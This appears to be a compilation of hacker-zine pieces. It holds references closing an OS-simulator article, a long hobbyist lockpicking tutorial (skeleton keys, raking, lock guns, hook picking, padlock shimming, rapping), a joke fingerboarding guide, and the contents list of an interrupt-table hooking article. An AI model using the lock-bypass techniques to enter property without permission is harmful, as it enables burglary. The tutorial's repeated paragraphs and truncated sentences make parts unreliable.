After that, you just boot with the floppy disk and hang on!

I hope this article gave you some ideas to experiment with. Good luck
and have fun.

"Contrasting this modest effort [of Seymour Cray in his laboratory to
build the CDC 6600] with 34 people including the janitor with our vast
development activities, I fail to understand why we have lost our
industry leadership position by letting someone else offer the world's
most powerful computer."
-Thomas J. Watson, IBM President, 1965

"It seems Mr. Watson has answered his own question."
-Seymour Cray

--[ 4 - References and Credits

[1] Operating Systems: Design And Implementation,
Andrew S. Tanenbaum, Prentice Hall, ISBN: 0136386776
	This book explains how the Minix operating system functions.
	Linux was originally Linus's attempt at creating a production
	quality version of Minix. Minix is an Intel OS.

[2] MMURTL V1.0, Richard A. Burgess, Sensory Publishing, ISBN: 1588530000
	MMURTL is another Intel OS. Unlike Tanenbaum, Burgess dives
	into more sophisticated topics, like memory paging. Another
  	thing I admire about Burgess is that he'll answer your e-mail
	without getting snooty like Tanenbaum. If Minix gave birth to
	Linux, then MMURTL may also be reincarnated as the next big thing.

[3] Dissecting DOS, Michael Podanoffsky, Addison-Wesley Pub,
ISBN: 020162687X
	In this book, Podanoffsky describes a DOS clone named RxDOS.
	RxDOS is presented as a real-mode OS and is written entirely
	in assembly code.

[4] FreeDOS Kernel, Pat Villani, CMP Books, ISBN: 0879304367
	Another DOS clone ... but this one is written in C, whew!

[5] Virtual Machine Design and Implementation In C/C++, Bill Blunden,
Wordware Publishing, ISBN: 1556229038
	Yes, it's time for the self-plug. Writing a VM is really only a
	hop, skip, and a jump, from writing a simulator. My book presents
	all the information in this article and a whole lot more. This
	includes a complete virtual machine, assembler, and debugger.

[6] Linux Core Kernel Commentary, 2nd Edition, Scott Andrew Maxwell,
The Coriolis Group; ISBN: 1588801497
	This is an annotated stroll through the task and memory management
	source code of Linux.

[7] The Design and Implementation of the 4.4BSD Operating System,
Marshall Kirk McKusick (Editor), Keith Bostic, Michael J. Karels (Editor)
Addison-Wesley Pub Co; ISBN: 0201549794
	These guys are all deep geeks. If you don't believe me, look
	at the group photo on the inside cover. This book is a
	comprehensive overview of the FreeBSD OS.

[8] The Undocumented PC : A Programmer's Guide, Frank Van Gilluwe,
Addison-Wesley Pub, ISBN: 0201479508
	If you're doing I/O on Intel, it truly helps to have this book.

[9] Control Data Corporation
	There are a numerous old fogeys from Control Data that I
	would like to thank for offering their help and advice.
	Control Data was killed by its management, but there
	were a handful of gifted engineers, like Cray, who made sure
	that some of the good ideas found a home.

[10] IBM and the Holocaust: The Strategic Alliance Between Nazi Germany
and America's Most Powerful Corporation, Edwin Black,
Three Rivers Press; ISBN: 0609808990
	I originally heard about this through one of Dave Emory's
	radio broadcasts. Mae Brussell would agree ... profit at
	any cost is not a good thing.

I would like to thank George Matkovitz, who wrote the first message-based
kernel in the world, and Mike Adler, a compiler wizard who was there
when Cray whipped IBM for sharing their thoughts and experiences with me.


|=[ 0x03 ]=--------------------------------------------------------------=|

               L  O  C  K  P  I  C  K  I  N  G
                    /< n i g h t m a r e

As per usual, I accept no responsibility for your actions using this
file; It is only here to show how locksmiths gain access when keys are 
missing or broken.


1   The warded Lock
2   Pin-tumbler lock and wafer locks
3   Wafer locks
4   The tension wrench turning tool
5   Raking pin-tumbler locks and wafer cylinder locks
6   Picking locks without a Turning tool
7   The lock gun
9   Pure picking
10  Opening locks without picking
11  Rapping open locks


The main purpose of writing this work is to provide the modern student with 
an up-to-date, accurate book to enable him to explore the fascinating 
subject of lock picking. In by gone years, people who were drawn to magic of 
the lock, were tempted to 'pick locks', and were confronted by obstacles to 
protect the lock, such as devices which would shoot steel barbs into the 
picker's hands. vicious toothed jaws were employed to cut off the thiefs 
fingers. perhaps the most fearsome lock pick deterrent was a devilish device 
which would fire a bullet if the locking mechanism was tampered with.

Books and manuscripts over the years change hands.
Unfortunately, in the case of this type of work, it could fall into the 
wrong hands. However unlike such works as '1001 ways to have fun with a 
Frankfurter', the person who is merely curious will find this work tiresome 
and unpalatable, leaving the true enthusiasts to explore the teasing allure 
of the lock. This unique animal who has ingenuity and patience to follow 
through the fascinating study, will be rewarded in the knowledge that he is 
in the elite company that I salute in this work. for the people who argue 
books on this subject should not be written, I would like to point out that 
a villain who wishes to gain entry into a property in happier with a brick 
than a pick.

   Have fun and enjoy your new hobby or trade !


Probably the best place to begin this book is at the point at which mass 
lock manufacture began, with the WARDED LOCK. These locks are generally of 
simple construction, These are of simple construction and generally, and 
therefore recommended for the beginner. The dictionary defines 'ward' as 'to 
guard, keep away, or to fend off', which in reality is exactly what the lock 
(See FIG. 1.) The small circular section is the ward with the wrong type of 
key attempting to open the lock. Ti is quite obvious that if this key were 
to be turned, its turning path would be halted by the protruding ward.

      ___________     ____                      __________    ____
      ________   )   /  \ \                     ______    )  /  \ \
              | _|   |  | | <-Wards                   |  [   |  | |
              |[     \____/                    Bit -> |__[   \____/

             FIG. 1                                  FIG. 2

   FIG. 2 shows the correct key which will open the warded lock.
It has just the right cuts on the bit to miss the wards. warded locks are 
found in many forms. FIG. 3 is a normal key, with an intricate patterned bit 
which would open an old and beautifully designed, elaborate ward lock. At 
this point, I would like to say that key collecting had become a hobby for 
many people. Since keys are quite easy to come by, a nice display can soon 
be obtained.

        /  \__.,-,________
            Normal Key

               FIG. 3

the security of the warded lock was further enhanced by the shape of the key 
hole, preventing entry to everything apart from the correct key. the 
extravagant shapes, in both the wards and the key holes, are the only 
problems which we must overcome in picking open the warded lock. we do this 
by inserting a pick, which is much thinner than the lock's keyhole, or by 
using a skeleton key. FIG. 5 shows this best in the case of the skeleton 
key, which would open the same lock which is in our FIG. 3. This skeleton 
key has been cut from a blank. The area which would fool the locks ward's 
has been removed, forming the new key. For the complete newcomer the world 
of locks, I should explain that the word 'blank' is the name given to the 
key before it is cut to the desired shape.

                ______                  __.__________
               |  /\  |                 __ __  __  __|
               |  ||  |                   ' _||  ||_
               |   \\ |                    |.-'  '-.|
               |   // |                    ||      ||
               |  C|  |            skeleton|'-.  .-'|
               |  ||  |               key  '--'  '--'

                FIG. 4                       FIG. 5

  FIG. 6 looks inside a typical warded padlock. It is clear that, because of 
the wards which obstruct the turning, only the correct key (as shown) will 
open this lock. it is guarded by six, close-fitting wards, and also by the 
small, thin keyhole.

                                  / ___ \
                               __/ /   \ \__
                              |    \___/    |
                              \             /
                               \____   ____/
                                   /   \
                             ______|   |______
                            |  __ (     ) __  |
                     .--->  | (__| |   | |__) |
                     |      |     <     >     |
        Wards     ---|--->  |  ====|   |====  |
                     |      |     (     )     |
                     '--->  | =====|_ _|===== |
                            | [[[[(_____)]]]] |
                            |       (_)       |
                                Y         Y
                                |         |
                              Opening spring

FIG. 7 shows how we overcome this lock with a key that has been skeletoned, 
and which will now open this and many others.
This has been achieved by removing all the projections other than the end 
which comes into contact with the spring-opening point.
Take a look and make sure you read and understand this before moving on.

                            _   __nn_n/  \_
                           (_| |______   o_:
                                _ __ _\__/
                                U UU U

                                  FIG. 7

  FIG. 8 is a warded pick in it's most simple form - a coil spring with it's 
end bend and flattened. If the coil is of suitable diameter, it will fit 
onto the end of your index finger. This forms, as it were, an extension of 
your finger, and you will find that it is a highly sensitive tool to fell 
the layout of the interior and so find and trigger the mechanism. This 
sensitive manipulation can be achieved only with practice. If the spring 
pick becomes weak or bent simply pull out a new length from the coil and you 
have a brand new tool.

  Before we move on, I would suggest that you build up a large set of picks 
of different sizes.

                    |                                 ____   |
                    |  /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/    |  |
                                  Coil Spring

                                    FIG. 8
  Look inside as many locks as possible -- it's the finest way of becoming a 
lock expert. picking locks is a true art form and even more difficult than 
learning to play a musical instrument proficiently.

Here is a useful lock picking set to make:
                                /    \_____________|
                                \____/             |
                                /    \_____________.
                                \____/             '
                                /    \___________._.
                                \____/           ' '
                                /    \_____________
                                \____/             |
                                /    \___________|_|
                                \____/           | |
                                /    \____________.-
                                \____/            '-
                                      FIG. 9

In summing up the subject of warded locks, I would say that once you have 
clearly understood that the wards simply guard the opening, and also that 
the actual shape of the keyhole prevents the wrong key entering, you are 
well on the right path to becoming a total master at this type of lock. 
start looking for warded locks: they are usually older locks or at the cheap 
end of the market.

The most difficult task before the novice must be to identify the particular 
type of lock he is trying to pick. Is the lock a WAFER or PIN-TUMBLER? Or, 
in the case of the raw beginner, is the lock a LEVER or PIN-TUMBLER? There 
is no simple answer. The ability to identify the particular types comes only 
with practice and study.
Open up as many old locks as you can and study the principles, LOOKING ALL 
THE TIME FOR WEAK POINTS which are built into the design. Believe me, ALL 
locks have weak points.


As in all lock picking, it is an advantage that the student is fully 
conversant with the basic operation of the lock. In the case of the 
PIN-TUMBLER and WAFER it is absolutely vital. The number of times I have 
read leading works on the subject, and then asked myself if I would fully 
understand how the lock worked from their description ! each book I read 
failed to explain accurately and precisely how these locks work and can be 
picked. what follows is my own humble effort to right this wrong. You 
yourself must judge if I have obtained this objective.

  When we first look at this type of lock, it would appear that all 
necessary to insert a small implement into the keyway and give it a turn for 
the device to open. plainly this is not the case, as we can see when we take 
a closer look at FIG. 10 This is a typical PIN-TUMBLER lock, and generally 
consists of pairs of bottom pins made from brass and with the top drivers 
formed in steel. Commonly, five pairs of pins are found. in the smaller, 
cheaper models, four are more common.

                                 \ K
           |  |  |  |   |   |    / E
              |     |   |   |    \ Y        [|]  Upper tumbler pin
           ^     ^               / H        [^]  Lower tumbler pin
           ^  ^  ^  ^   ^   ^    \ O        [-]  Cylinder wall
                                 / L  This is a greatly simplified
                                 \ E  drawing

         FIG. 10

Shear Line /  ___  \
  - - - - -| |///| |   <-- Springs
          /  |[ ]|<-\----- Top Drivers
      Plug\  \ @ /<-/----- Bottom Pins

         FIG. 11

Shear Line /  ___  \
   - - - - -| |///| |
           /  |[ ]| /\
           \     / / / <-- Plug Turning

                   FIG. 11a

                                                   /        \
         Shearing Line -->  __ _ ___ _ ___ _ ___  /          \  A
                           / _  _  _  _  _      \/       /\   \
                          / |_||_||_||_||_| ___/\        \/   / K
                          \ / \/\/\/\/\/\/\____\/            /  E
                           \____________________/\__________/   Y

               FIG. 12

FIG. 11 is the end-view of the arrangement. Each of the locks shown in FIGS. 
10, 11 and 12 are ready to open, since in each case they have been given the 
right key ready to turn the plug.
FIG. 12 shows each of the five bottom brass pins settled into it's own notch 
along the key. This ha the effect of bringing the point between the drivers 
and the pins EXACTLY to the same height. ONLY THE PROPER KEY WILL ALIGN ALL 
SAME TIME. All five pins must be in line together, and, when we have this 
state of affairs, the plug will turn opening the lock. FIG. 11a shows the 
plug starting to turn. FIG. 11 is an end-view, and shows the shaded plug 
ready to turn. Make sure you fully understand this before you go on. Most 
students fail to understand that the bottom brass pins TURN WITH THE PLUG. 
FIG. 13 shows this. the top holding drivers stay put in the chambers in the 
outer case. Remember that the bottom pins must turn with the plug because 
they are contained within unit. It is important to know that if only one 
notch on the key is even SLIGHTLY wrong, too high or too low, the plug would 
be prevented from turning, just one pin, sitting into this plug from the 
outer case, has such an amazing strength that it would be impossible to snap 
-- such is the power of each little pin.

     ___ ##### <-- Top Drivers
    /   \ooooo Plug Turning |
    \___/=====             <'
         OOOOO <-- Bottom pins

        FIG. 13

I have cut away the plug in FIG. 13 and the pins can clearly be seen in the 
turning motion. With all the required points within the lock aligned, the 
plug must and will turn. However, let us take a look at what would happen if 
the wrong key were inserted. FIG. 14 shows this, with the top drivers, still 
inside the plugs, preventing it from turning. The wrong key is just as bad 
as no key, and the lock stays locked.

                   |     /    |    \     |
                   |    \/    V    \/    |
                   |       __   __   __  |
           --------|  __  |  | |  | |  | |-------- <-- Shear line
         Plug --> _|_|  |_|  |_|  |_|  |_|_
                 [ | |  | |  | |  | |  | | ]
                 [ | '--' '--' '--' '--' | ]
                 [ | .--. .--. .--. .--. | ]
                 [ | '--' '--' '--' '--' | ]
                               FIG. 14

FIG. 15 is the end-view, showing the top driver inside the plug, preventing 
the turning, and the driver just below the shearing line. I have already 
said that these little drivers are manufactured from steel and are very 
strong indeed, overcoming any force that a normal wrong key or instrument 
could present. even if there were only one little driver inside the plug, it 
would still be unable to rotate, or be snapped at the shear line. Now 
multiply that strength by five, and I am sure that you will understand it's 
almost superhuman strength. Before I move on I must explain that there a no 
skeleton keys which will magically open this lock, or it's brother the 

                   Note top drivers are inside plug
                           ______        preventing any turning
                         //  ==  \\
                         ||  ==  ||
                         ||  ()  ||
  Shearing line --> -----||-[||]-||-----
                         || [==] ||
                         \\__##__//       ## - Bottom pins
                          \______/       [==]  Plug

                          FIG. 15

The turning tool replaces the bottom part of the key, and the pick replaces 
the notches on the key. Just think of the turning tool as part of the key, 
and the pick as the notches. Once you have all the points inside the line, 
only a small amount of light pressure is needed to turn the plug. Most books 
on the subject stress that too much pressure is wrong. FIG. 20 shows the top 
driver inside the chamber binding on three points, because the tension is 
too great. Trial and error seems to be the only true way, with only light 
turning applied.

Chapter 3:      WAFER LOCKS

FIG. 16 shows a single-sided wafer lock. This type of lock contains WAFERS 
instead of pins and drivers, and is known as a DISC-TUMBLER instead of a pin 
tumbler. the wafers, five as in a pin-tumbler, are held in place by a small, 
light spring, as shown (left hand side) of FIGS. 16 and 17. FIG. 16 shows 
the lock closed, and FIG. 17 open. The wafer lock is best opened by RAKING, 
which is explained later in this work.

           ________                        ________
          /   __   \                      /   __   \
         =|  /  \  |                     =|  /  \  |
         =|  |  |  |                     =|  |  |  |
         /_  \__/  |                     /_  \__/  |
          \__    __/                      \__    __/
          --.\__/.--                      __ \__/ __
            '----'                          '____'
            Locked                         Unlocked

           FIG. 16                          FIG. 17


Probably the single most important factor in lock manipulation is the use of 
the TENSION WRENCH which I prefer to call the TURNING TOOL. perhaps if it 
had been given this name in the first place, hundreds of aspiring locksmiths 
would have had greater instant success. I maintain that the word 'tension' 
implies that great pressure has to be exerted by this tool. Add to this the 
word 'wrench' and totally the wrong impression is given. in order that you 
will fully understand the use of this turning tool, I will explain it's 
simple function. FIG. 18 shows an normal pin-tumbler or wafer key; FIG. 19 
shows the key cut away. This bottom section is now a turning tool. the 
reality is that the notches along the key would lift the bottom pins level 
with the shearing line, and the part beneath would turn the plug.

     ____                   ____    ,_^^,^,-.-^.
    /    \,_^^,^,-.-^.     /    \/'_____________
    \____/-----------'     \____/---------------'  <-- Turning tool

         FIG. 18                   FIG. 19

The turning tool replaces the bottom part of the key, and the pick replaces 
the notches on the key. Just think of the turning tool as part of the key, 
and the picks as the notches. Once you have all of the points inside the 
line, only a small amount of light pressure is needed to turn the plug. Most 
books on the subject stress that too much pressure is wrong. The student 
must first know why too much tension is wrong. FIG. 20 shows the top driver 
inside the chamber binding on the tree points, because the tension is too 
great. Trial and error seems to be the only true way, with only light 
turning applied

                                   |  ------. <|----Spring
                                   |  .-----'  | Top chamber
                                   |  '-----.  |
                                   |  .-----'  |
                                   | _'--_____ | Binding
                                   ||         || |
                                   ||         || V
                             ______||         ||______
                             ------.|_________|.------ Shear line
                                   |           | <-- Binding

                                      FIG. 20

If you are raking open a lock, no real pressure need be applied because the 
pins and wafers MUST be free to bounce into line with the shearing line. if 
too much pressure is used, it prevents this as shown in FIG. 20. Multiply 
the one shown by, and you can imagine the lock is well and truly bound 
tight. I have used a lot of words in trying to say what has not been put in 
print before.


                   |  TURNING TOOLS

                                FIG. 21

The turning tools are shown in FIG. 21. Once again, I get onto my high 
horse, and say that it is not necessary to have lots of different turning 
tools in your kit. it is complete nonsense to have light, medium and heavy 
tools. Further confusing the is the term used to rigidity of the different 
types. This is termed the 'weight', but most of my students mistakenly 
assume the actual weight is important to the turning potential. the best is 
to choose a medium weight tension wrench and from then on call it a turning 
tool. If I am not careful I will change the whole lock picking vocabulary.

  The best and easiest wafer or pin-tumbler locks to open are the ones which 
contain the smaller pin or wafer sizes together in the same lock, i.e. small 
pins in each chamber and ideally all about the same length. When this state 
exists, the method to open the lock is by RAKING.


The first plan of attack on any lock of this type, whether it is a padlock 
protected with this locking arrangement, a door on a car or a house, is to 
try raking. the turning tool fits into the bottom section of the keyway, as 
shown in FIG. 22, with just the weight of your finger. No visible bend 
should be seen on the tool, otherwise it will be found impossible to pick 
open the lock with this method.

                      /                        \   the tools got to
                     /                          \  be at 45 DEG.
                    /          ______            \ parallel like
                    \         / n    \           / so:  //
                     \  ********@____/          /
                      \        /               /  *** the pick
                       \      /               /   /   turning tool

                                 FIG. 22

  Using the picks shown in FIG. 23, we rake the lock, as we shall explain 
later, starting with pick number one and working up through until you open 
the lock. Perhaps, before we get down to the actual method of raking, we had 
better take a close look at the make-up of this tool, known as a RAKE. Look 
again at FIG. 23. Notice that 1B is just the same as 1A except that it has 
been cut in half, giving the half double ball. 1C is a silhouette of them 

  If we look closely at 2A, 2B and 2C, we find they are arranged just the 
same as the first group. 3A, 3B and 3C are know as DIAMONDS because of their 
shape. There seems to be no reason for A, B and C in each of the groups 1, 2 
and 3 other than, in the case of the diamonds, for use in smaller locks. 
Don't let the different sizes bother you, but just use whatever you have in 
your set.


FIG. 23

    1A            1B           1C
     -         |       /
     |        /|       \
    / \      / \      / \
    | |      | |      | |
    | |      | |      | |
    | |      | |      | |
    | |      | |      | |
    | |      | |      | |
    |_|      |_|      |_|

  Double         Half     Silhouette
   Ball         Double      Double
   Rake       Ball Rake   Ball Rake

    2A            2B           2C
      |       o         /
     /\        \        |
    /  \      / \      / \
    |  |      | |      | |
    |  |      | |      | |
    |  |      | |      | |
    |  |      | |      | |
    |  |      | |      | |
    |__|      |_|      |_|

Full single  Half Single   Silhouette
Ball Rake     Ball Rake  Single Ball Rake

    3A      3B     3C
     <           <|                 _               |>
      |    <|     |                /_|              ||    Handy
      |    /|     |                 ||              ||    Double
     /|   / |    /|            4    ||              ||    Ended
    | |   | |   | |                 ||              ||    Rake
    | |   | |   | |                 ||              ||
    | |   | |   | |                 ||              ||
    | |   | |   | |                /  \             ||
    | |   | |   | |                |  |              \\
    |_|   |_|   |_|               /____\             //

     3 Diamond Rakes

  In FIG. 23 I have included a number 4, which is sometimes mistaken by 
students for a raking tool, but which is, in fact, a broken key extractor, 
and has nothing to do with raking. I have shown it's end in close up in the 
illustration so that there can be no mistake. The number 5 is a double-ended 
rake, which combines on one end a diamond and on the other a silhouette 
double ball.


  While we are taking a close look at things, it is a good time to do the 
same thing with the action of raking, in order that you will fully 
understand how it works. Select any of the number 1 raking tools (FIG. 23), 
and insert it into the lock so that it touches the back of the lock and is 
in contact with the back bottom pin of the lock. The pick is then drawn from 
the back of the lock very quickly (see FIG. 24).

                              Rake is pulled out
                              causing top driver
                              and bottom pin to
              =====  =====  =====  =====  =====    vibrate about the
              =====  =====  =====  =====  =====    shear line.
              .---.  .---.  .---.  .---.  | ^ |
              |   |  |   |  |   |  |   |  | | |
Shearing      |   |  |   |  |   |  |   |  | V |       Shearing
Line   ______ '---'  '---'  '---'  '---'  '---' _____ Line
              .---.  .---.  .---.  .---.  .---.
  Front of    |   |  |   |  |   |  |   |  | ^ |  Back
  Lock        '---'  '---'  '---'  '---'  '-v-'_ of the
  /-\_________________________________________/ \
                  Rake being pulled out

This action has the effect of causing all the pins, which have been in 
contact momentarily with the rake's passage out of the cylinder to vibrate, 
each pin lifts the top driver out of the plug with this vibrating momentum 
given> The whole thing is really a bit hit and miss, because some of the top 
drivers will be out will others are still holding the plug. We must repeat 
with the same rake about twenty times, and only if unsuccessful then move on 
to another, following the pattern outlined in FIG. 23.

  When we rake a lock, we are raising the pins inside the lock to the shear 
line. moving through the different shaped picks varies the pattern of the 
lift as the tool is repeatedly drawn out. The pins and drivers are bouncing 
about the shear line, just waiting to please you and be at the right height 
to open as you turn with your turning tool, which has been in place 
20. The pressure exerted is best described as a pulsating one. Gentle 
pressure must only be on as the rake is leaving the lock on the way out. No 
pressure is on as the pins are vibrating. The pins vibrate and the pulsating 
turning tool turns the plug, so opening the lock. If too much pressure is 
applied at the opening wrong moment, binding takes place and picking is 

  Normally, I first test a lock by inserting my Turing tool into the lock, 
turning it in both directions. Any slight movement tells me a few things 
about the locks without actually seeing inside it. If has a lot of movement 
in each direction, then it is going to be an easy lock to open. Its general 
condition tells me if it is an old, worn or cheap lock. if you find little 
movement an the lock is known to be a good one, then it is going to take a 
little longer or require another technique.


A useful tip, for those long practice sessions or demonstrations, is to bend 
the connecting cam downwards as shown in FIG. 25. If the lock is held as 
shown in FIG. 26 you will find that it eliminates the use of the turning 
tool. My advice to the beginner is to try raking with the index finger, 
pulsating on the lock's cam.

( )----------.
| |__________|____
| |               )_
| |                 )
| |                  )____
| |      LOCK        )---.|
| |                _)   ^||
| |            ___)    / ||
| |           |       /  '' <-- Cam
(_)-----------'     BEND

     FIG. 25

                  / \____   Finger provides
                 /   \ \_) <-----  turning
                /___/-\ \
               /   /  (__)
             FIG. 26   '' Pick held in other hand

  Another practice tip is to remove two sets of pins and drivers, leaving 
three sets within the lock, thereby reducing the strength and making it a 
little easier to manipulate.

Chapter 7:      THE LOCK GUN

This useful tool is really a super raking device. pulling the trigger causes 
the needle probes to flick upwards, and this has the effect of bouncing the 
pins about the shearing line. this tool is capable of producing a continuous 
vibration of the pins, making picking easy. It is a useful tool, and a nice 
addition to your toolkit. The gun is shown in FIG. 27.

<.|-        \__
   \           \_______
    \           |_/
    /  .   _____|      =[]
   /      | \\            \
  /      /   \\            \__
/  .   /    (|
|_____/               .------
           Lock Gun    |

         FIG. 27

Chapter 8:      THE LOCK MASTER

Before we leave raking, perhaps we had better look at my own invention, the 
LOCK MASTER, which has certain advantages over the lock gun, and even more 
disadvantages. That said, its main advantage is a big one -- it completely 
eliminates the need for a turning tool. Its bottom section has its own 
turning tool built in. FIG. 28 shows the tool. the top is flicked with the 
index finger nail, and the probe is returned to the horizontal by means of 
two small springs. the finger snaps away while the master is twisted, again 
in the pulsating fashion. The main disadvantage is that you have to have 
different LOCK MASTERS for different size lock.

           (______________   )____   Lock Master
                         /\__)    \
                         |        |

                           FIG. 28

Chapter 9:      PURE PICKING

I like to think of my next section as 'pure picking', because that is 
precisely what we do. Each pin is lifted in turn, lifting the driver clear 
of the plug. Remember that earlier I advised the beginner to remove a couple 
of set of pins and drivers. This is perhaps when you will find this most 
useful. Turning is applied by the turning tool, or my own bent cam motion. 
The HOOK PICKS shown in FIG. 29 are used.

                                                Pure picking
      --.    \        Top         __  __  __
        |    |        Chambers   |==||==||==|
       / \  / \        '-------> |==||==||--|
       | |  | |              ____|--||--|'--|___ <--- Shear Line
       | |  | |                  '--''--'.__.
       | |  | |                  .--..--.|  |
       | |  | |                  '--''--''--'
       | |  | |                           ( )_______________
       | |  | |                            \_______________/
       | |  | |                   ___________________
       | |  | |                   Hook lifting Pin to
       '-'  '-'                      Shearing Line

      Hook Picks
                     FIG. 30

        FIG. 30

  It requires a fair measure of practice, and even more patience, but the 
rewards once you are a master of this technique are more than words can 
convey. Using whatever method you choose to turn the plug, FIG. 30 shows the 
pick lifting the pins one at a time until they are pushed out of the plug 
into the top chambers. All the time, a very gentle turning motion has been 
applied by means of the turning tool. FIG. 31 shows the lock set to open.

         Set to open
                   ___  ___  ___
                  | = || = || = |
                  |.-.||.-.||.-.|            Notice how the
  Shear line   ___|'-'||'-'||'-'|___         bottom pins line
                    _    _    _   <--------- up precisely on
                   | |  | |  | |             the shear line
                   '-'  '-'  '-'

            FIG. 31

                  U----(____________)   Small
                  \----(____________)   Medium
                  |____(____________)   Large

               Three sizes of Hook Picks

                          FIG. 32

Use the correct size of hook pick, by first trying the smallest. see FIG. 
32. Practice this, and you will have a gem.


FIG. 33 some points of attack which you will find convenient, and which have 
been unknowingly built into the lock's construction by the manufacturer. The 
method is known as shimming. FIG. 34 shows a collection of springs and 
probes. go along to your local watchmaker and obtain as many as you can. Add 
to this blades from junior hacksaws, coping and fretsaws and you will soon 
have a fine collection.

   FIG. 33
                    ________   X
            X      / ______ \ /
             \    / /      \ \
              \__/ /________\ \__
              |\ |_|_------ | |  |
              |  |_,-.----.#| |  |
         X----|--| ||_.--._||=|  |
              |  '-' .-''-. |=|  |
              |      |    | |=|  |
              |      |    | |=|  |
              |      '----' '='  |

              Old Clock springs
_____________   ________________  _________________
|_____________| [________________]'-----------------' Small,Med,Large

         Saw Blades
______________) -----------------,  __________________
               \ VVVVVVVVVVVVVVVVV   vvvvvvvvvvvvvvvvvv'
                          FIG. 34

  Taking advantage of the lock's weak points, we insert our clock spring or 
saw blade between the point where the two halves of the lock case meet, or 
down the side of the shackle, following the line of the bow, and so pushing 
back the spring-loaded bolt.


Look at my FIG. 35, which shows a pin-tumbler lock about to be opened by 
rapping. the blow must be sharp but not heavy.

                          ___   Sharp
                         |   |  Blow
   FIG. 35              _|   |_
                        \     /        Pins
                         \   /    __   line up
                          \ /    |  |  on the
                   ________V_____|  |  Shear Line
Blow causes       |  __  _ _ _ _    |
the pins and      | |==||=|=|=|=|   |
drivers to        |-|V ||V|V|V|V|___| Shearing
vibrate      -----| |^ ||^|^|^|^|   |-------
                  | |V ||V|V|V|V|   | Line
                  | |--||-|-|-|-|   |
                  | '--''-'-'-'-'   |
                  '______________   |
                                 |  |

                   How Rapping works

  The blow should be only to the point shown. It has the effect of causing 
the pins to vibrate and to split at the shearing line, as in raking and the 
lock gun methods. Just as in the other methods, we use the turning tool 
together with the pulsating movement. Try rapping open a spring-loaded bow 
(shackle) padlock before you try a pin-tumbler or wafer lock. (See FIG. 36)

                               /,^--. \
                           __     __/ /
                          /  \___/ / /
                         / ---.  __  \
                        /   _/  (     \
                       /   C.   /      \
                       \   \\     (o)  /  <--- Sharp blow at this
                        \   \,     |  /        point opens the lock

Vibration causes lock to open like magic


1  Small vice, from watchmaker's suppliers, with 2" jaws.
2  A selection of small files, from watchmaker's suppliers.
3  A junior hacksaw from hardware stores.
4  A selection of saw blades, from hardware stores.
5  Leaf gauges, from a garage.
6  Piano wire, from music shop.
7  Lock picks, from locksmiths.
8  Old clock springs, from local watchmaker.
9  Wire cutters, from hardware stores.
10 Collection of blank keys, from locksmiths.
11 Lock gun from locksmiths.
12 Oil, from hardware stores.
13 Lots of old locks, from friends.
14 Pencil torch.
15 Strong magnifying glass.
16 Patience, and a bottomless coffee pot.

  Get together as many locks of all types as possible. ask your friends if 
they can find you any old locks for which they have lost the keys. After 
experimenting with the locks, open them up to find out how they work. This 
is the finest way to becoming a true lock expert.

  If you are beaten by a particular lock, dont despair. I know the feeling 
all to well. it's back to the drawing board, or, more correctly, the 
workshop. Open it up, study it's workings, then re-assemble. always LOOK FOR 
ITS WEAK POINTS. believe me, it will have some; you just have to look long 
enough and hard enough. Locks are like a chain, as strong as the weakest 

|=[ 0x04 ]=--------------------------------------------------------------=|

Spyke's Beginner Guide 2

F    I  NN N G   E   R R  B B O O A A R R D D  I  NN N G
F    I  N  N G G E   RR   B B O O A A RR  D D  I  N  N G G

                               (Like anyone wants to know..
                                  Just somin' to do in your
                                               Spare time!)



1. How to perform ollies
2. How to perform Backflips
3. How to perform shuv-its (in air)
4. How to perform Grinds
   4.1 Boardslide
   4.2 Darkslide
5. How to get a fingerboard


Section : 1. How to perform ollies

The ollie is possibly the first fingerboarding trick in
which you should learn. It allows you to pop your finger-
board into the air with your fingers allowing you to jump
Onto OR over (small) objects.
  the first part of the ollie is to put you fingers in the
correct possition (as you can see in {Fig. A}) with one
finger flat on the tail and another right behind were the
trucks are on the top.

{Fig. A}
                            F=Finger      \=Left Tail  0=Wheel
                            /=Right Tail  ^=Trucks     _=Part of deck

   ^0^        ^0^

Next you hit the tail (with the finger that is placed on
on the tail) lift hand and push forwards.
  After practice you //should// be able to get the board
into the air a few inchs ({Fig. B}).

{Fig. B}



Section : 2. How to perform Backflips

The back flip on a finger board if diffurent to a backflip
on a skateboard in the way that your fingers do not flip
360 degrees verticly (That would break your wrist) but they
hover above the board while it flips.
  Firstly put your fingers into the ollie postition (Shown
above in {Fig. A}), and hit the tail hard. Quickly lift
your fingers up into the air and the board //should// flip
in the air verticaly. Now for the hard bit : wait until
the board flips 360 degrees then drop your fingers so it
lands the correct way up,this movemnt has to be farely
fast to work.


Section : 3. How to perform shuv-its (in Air)

The shuv-it (in Air) is were you ollie your board so
it spins 180 degrees horizontaly.
  To do this trick you must place your fingers in the ollie
postition but with the tail-finger on the side on the board,
not the middle (Shown in {Fig. C}), next you ollie but when
you hit the tail you also turn you hand a little bit.

{Fig. C}

  / . .               . . \
 |  . .F              . .  |

When the board is (hopefully) spinning in the air hit it
down after it has made a full 180 degree turn.


Section : 4. How to perform Grinds

To grind, ollie the board onto the edge of somthing OR
onto a pencil of bar.

Section : 4.1 Boardslide

Ollie the board and turn it 90 degrees in the air
onto a thin object/edge of somthing then, push smoothly
across (Refer to {Fig. D}), to land push the board off
the object and turn 90 degrees back to the orginal

{Fig. D}

        |. .|
        |. .|
        |   |
 -------|   |-------
 -------|   |--------Grinding Object
        | F |
        |. .|
        |. .|

Section : 4.2 Darkslide

The darkslide is a grinding trick were you flip the board
upside down, grind it upside down, then flip it the
correct way up. It is technically an upside-down
  Firstly put your fingers into an ollie postition and move
the board towards the grinding objects, when you are close
annouf to ollie onto it, flip your board 180 degrees so
it is upside down, and push it onto the grinding object.
  Push it forwards assuming pressure to the front, when you
get to the end of the grinding object attemp to flip the
board the correct way up.

Section : 5 How to get a fingerboard

    Search in some local shops near you or buy them online from:


|=[ EOF ]=---------------------------------------------------------------=|


                          ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x04 of 0x12

|=-----=[ Handling Interrupt Descriptor Table for fun and profit ]=------=|    
|=----------------=[ kad, <> ]=-----------------------=|

--[ Contents

  1 - Introduction

  2 - Presentation 
    2.1 - What is an interrupt?
    2.2 - Interrupts and exceptions
    2.3 - Interrupt vector
    2.4 - What is IDT?

  3 - Exceptions 
    3.1 - List of exceptions
    3.2 - Whats happening when an exception appears ? 
    3.3 - Hooking by mammon
    3.4 - Generic interrupt hooking
